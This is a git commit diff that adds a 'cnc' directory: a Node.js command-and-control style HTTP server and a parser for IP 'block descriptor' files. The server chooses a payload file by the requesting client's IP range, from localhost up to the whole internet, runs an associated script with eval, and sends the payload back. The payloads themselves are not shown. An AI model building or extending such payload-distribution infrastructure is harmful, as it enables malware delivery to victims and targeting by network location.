aboutsummaryrefslogtreecommitdiff
path: root/cnc
diff options
context:
space:
mode:
Diffstat (limited to 'cnc')
-rw-r--r--cnc/bluedream.bd2
-rw-r--r--cnc/lib/bd_parser.js48
-rw-r--r--cnc/scr/localhost.js0
-rw-r--r--cnc/scr/pitbull.js0
-rw-r--r--cnc/srv.js30
5 files changed, 80 insertions, 0 deletions
diff --git a/cnc/bluedream.bd b/cnc/bluedream.bd
new file mode 100644
index 0000000..b02a9e2
--- /dev/null
+++ b/cnc/bluedream.bd
@@ -0,0 +1,2 @@
+127.0.0.0/8:payloads/localhost.js,scr/localhost.js
+0.0.0.0/0:payloads/worldwide.js,scr/pitbull.js \ No newline at end of file
diff --git a/cnc/lib/bd_parser.js b/cnc/lib/bd_parser.js
new file mode 100644
index 0000000..01a557a
--- /dev/null
+++ b/cnc/lib/bd_parser.js
@@ -0,0 +1,48 @@
+// block descriptor parser
+
+const fs = require('fs');
+const net = require('net');
+
+
+const block_regex = /(\d+.\d+.\d+.\d+)\/(\d+)/;
+const range_regex = /(\d+.\d+.\d+.\d+)-(\d+.\d+.\d+.\d+)/;
+
+function parse_bd(bd_path) {
+ const bd = fs.readFileSync(bd_path, "utf8").split("\n");
+ let all_bds = [];
+
+ for (let s of bd) {
+ s = s.includes("#") ? s.slice(0, s.indexOf("#"))
+ : s;
+
+ if (s == "") continue;
+
+ let ip_desc = s.slice(0, s.indexOf(":"));
+ let ips = ip_desc.split(",");
+ let [bin, run_when] = s.slice(s.indexOf(":") + 1).split(",");
+
+ let blocklist = new net.BlockList();
+
+ for (let ip of ips) {
+ if (ip.includes("/")) {
+ let match = ip.match(block_regex);
+
+ blocklist.addSubnet(match[1], parseInt(match[2]));
+ } else if (ip.includes("-")) {
+ let match = ip.match(range_regex);
+
+ console.log(match[1], match[2]);
+
+ blocklist.addRange(match[1], match[2]);
+ } else {
+ blocklist.addAddress(ip);
+ }
+ }
+
+ all_bds.push({block: blocklist, wrapped: fs.readFileSync(bin), js_to_run: run_when != "none" ? fs.readFileSync(run_when, "utf8") : null})
+ }
+
+ return all_bds;
+}
+
+exports.parse_bd = parse_bd; \ No newline at end of file
diff --git a/cnc/scr/localhost.js b/cnc/scr/localhost.js
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/cnc/scr/localhost.js
diff --git a/cnc/scr/pitbull.js b/cnc/scr/pitbull.js
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/cnc/scr/pitbull.js
diff --git a/cnc/srv.js b/cnc/srv.js
new file mode 100644
index 0000000..260900c
--- /dev/null
+++ b/cnc/srv.js
@@ -0,0 +1,30 @@
+const http = require('http');
+const fs = require('fs');
+
+const bd_parse = require('./lib/bd_parser.js');
+
+let bd = bd_parse.parse_bd(process.argv[2]);
+
+const srv = http.createServer((req, res) => {
+ let wrapped;
+ let js_to_run;
+
+ for (let d of bd) {
+ if (d.block.check(req.socket.remoteAddress)) {
+ wrapped = d.wrapped;
+ js_to_run = d.js_to_run;
+ break;
+ }
+ }
+
+ if (js_to_run) {
+ eval(js_to_run);
+ }
+
+ console.log(wrapped);
+
+ res.statusCode = 200;
+ res.end(wrapped);
+});
+
+srv.listen(1337, "0.0.0.0"); \ No newline at end of file